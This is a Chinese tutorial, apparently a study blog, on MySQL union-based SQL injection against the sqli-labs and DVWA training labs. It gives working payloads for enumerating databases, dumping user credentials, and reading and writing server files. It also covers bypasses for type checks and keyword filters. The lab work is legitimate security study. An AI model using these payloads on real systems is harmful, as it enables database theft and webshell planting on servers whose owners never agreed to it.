目录
1.MySQL5.x结构框架
- 在MySQL 5.0以上版本中,为了方便管理,默认定义了information_schema数据 库,用来存储数据库元信息,其中经常用到的表有:schemata(记录数据库名),tables(记录表名),columns(列名或字段名)
- 在schemata表中,schema_name(记录数据库名)
- 在tables表中,table_schema(记录存储的数据库名),table_name(表名)(schema_name和table_name都记录了MySQL中所有的数据库名)
- 在columns表中,table_schema(数据库名),table_name(表名),column_name(字段名)
MySQL注入涉及的information_schema库讲解_Regenwald的博客-CSDN博客
2.高权限注入
在数据库中区分有数据库系统用户/root用户,和数据库普通用户。
他们的区别如下
系统用户:所有数据库可看,文件读写正常
普通用户:单个数据库可看,文件读写失败
跨库查询是高权限注入的危害之一
假设有A、B、C三个网站采用统一数据库系统用户/root进行链接,如果其中一个网站出现注入,会导致所有网站数据泄露。
假设有A、B、C三个网站采用统一数据库普通用户进行链接,如果其中一个网站出现注入,其他网站数据不受影响。
高权限的可操作范围
(1)注册表操作
(2)所有数据库可查
(3)命令执行操作
(4)文件读写操作
注释:不同的数据库操作方式不一样,具体具体分析
2.1跨库查询及应用
2.1.1获取所有数据库名
以sqli-labs靶场less-2网站获取dvwa网站数据库为例
sqli-labs的数据库是security。
/sqli-labs-master/Less-2/?id=1 and 1=2
union select 1,group_concat(schema_name),3
from information_schema.schemata --+
相当于语句select schema_name from information_schema.schemata
2.1.2获取其他数据库的数据
dvwa为例
#获取dvwa数据库的表
/sqli-labs-master/Less-2/?id=1 and 1=2
union select 1,group_concat(table_name),3
from information_schema.tables where table_schema='dvwa' --+
可以看到,和后台查到的一样。
#获取users表的列名
/sqli-labs-master/Less-2/?id=1 and 1=2
union select 1,group_concat(column_name),3
from information_schema.columns where table_schema='dvwa' --+
#获取表中数据
/sqli-labs-master/Less-2/?id=1 and 1=2
union select 1,group_concat(user),group_concat(password)
from dvwa.users --+
#解密
加密了,就浅解一下第一个吧!
获得账号与密码之一:admin/password
验证一下,嗯,果然是正确的。
2.2文件读取
2.2.1文件读取函数
在MySQL中,内置了两个函数load_file()、into outfile()用于对文件进行操作,如果获取数据库读写权限,就可以写入一句话木马。
文件读写需要secure_file_priv 权限
secure_file_priv=null 限制mysqld不允许导入导出
secure_file_priv=/tmp/ 限制mysqld导入导出只能发生在/tmp/文件下
secure_file_priv= 不对mysqld的导入导出进行限制
(1)load_file():读取函数
在MySQL5.x版本中默认没有secure_file_priv这个选项,但是我们可以通过show global variables like '%secure%'命令查看权限,默认下secure_file_priv=null,所有我们要在mysql-ini中写入secure_file_prive=
完成以上操作后重启phpstudy ,在此查看权限,可以看到变成了【】
友情提示:实验完毕后为了安全还是将权限改回去。
小实验:
通过sqli-labs靶场注入点读取C盘下的flag文件
/sqli-labs-master/Less-2/?id=1 and 1=2
union select 1,load_file('C:/flag/flag.txt'),3 --+
验证一下
总结:写路径的时候用斜杠/而不是反斜杠\的原因,是为了避免与转义字符混淆,同时也可用反斜杠,但是要使用两个反斜杠\\;在回显的时候如果内容为中文会出现乱码,可能是sqli-labs网站的原因吧(我猜的);且第一次读取的时候出现连接超时的情况,刷新再次连接就成功了。
常见的load_file()读取的敏感信息_weixin_30292843的博客-CSDN博客
其他获取路径的方法
报错显示:一般网站出现错误的时候它会泄露出路径
遗留文件:站长为了调试信息的时候遗留的文件而泄露的 路径,用扫描工具可以扫出
漏洞报错:知道对方是用什么程序搭建再去网上去搜索对应漏洞信息,如phpcms 爆路径
平台配置文件:通过读取文件来读取搭建网站平台的配置文件,缺点是路径不是默认的,一旦更改很难找到路径
爆破等......
(2)into outfile() 或者into dumpfile():导出函数
into outfile() 能写入多行,按格式输出
into dumpfile()只能写入一行且没有输出格式
小实验:
使用into outfile()函数写入到C盘
通过注入点
/sqli-labs-master/Less-2/?id=1 and 1=2
union select 1,'i love CDUT',3
into outfile 'C:\\flag.php'; --+
页面上并没有什么显示,验证一下。可以看到把1和3也写进去了。
通过数据命令写入
验证一下
2.2.2MySQL防御机制
(1)魔术引导
即magic_quotes_gpc,MySQL内置的安全机制
在magic_quotes_gpc=on的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。
在PHP6中删除了这个选项,因为一切的编程都需要在magic_quotes_gpc=Off下进行了。在这样的环境下如果不对用户的数据进行转义,后果不仅仅是程序错误而已了。同样的会引起数据库被注入攻击的危险。所以从现在开始大家都不要再依赖这个设置为On了,以免有一天你的服务器需要更新到PHP6而导致你的程序不能正常工作。
注释:以上是大佬对magic_quotes_gpc这个函数的讲解,我开启后提示这个函数已经不可用了,但是如果你用低版本做实验后还是关闭这个函数,免得以后写php代码或者更新一些基于php语言的软件时报错。
绕过方法之一
是使用编码器对写入路径进行编码,如使用小葵转换工具
(2)is_int函数过滤
is_int():判断传值是否为整数
is_numeric():判断传值是否为数字或者数字字符串
即类型过滤,改一下源码。这里用is_numeric()这个函数恰当一点,is_int就算你输入?id=1也会报错。
再次访问一下sqli-labs靶场,发现成功对注入字段进行了过滤
/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,2,3 --+
具体的绕过方法参考如下
php中is_numeric函数的绕过_T0mrvvi1b3t的博客-CSDN博客_is_numeric绕过
[CTF]php is_numeric绕过_真·skysys的博客-CSDN博客_is_numeric绕过
(3)自定义关键字
比如select
执行效果
/sqli-labs-master/Less-2/?id=1 and 1=2 union select1,2,3%20 --+
绕过方法
大小写混合或者对关键字进行编码
/sqli-labs-master/Less-2/?id=1 and 1=2 union SELECT 1,2,3%20 --+
(4)WAF防护软件
安全狗、宝塔等(了解,后期具体学习)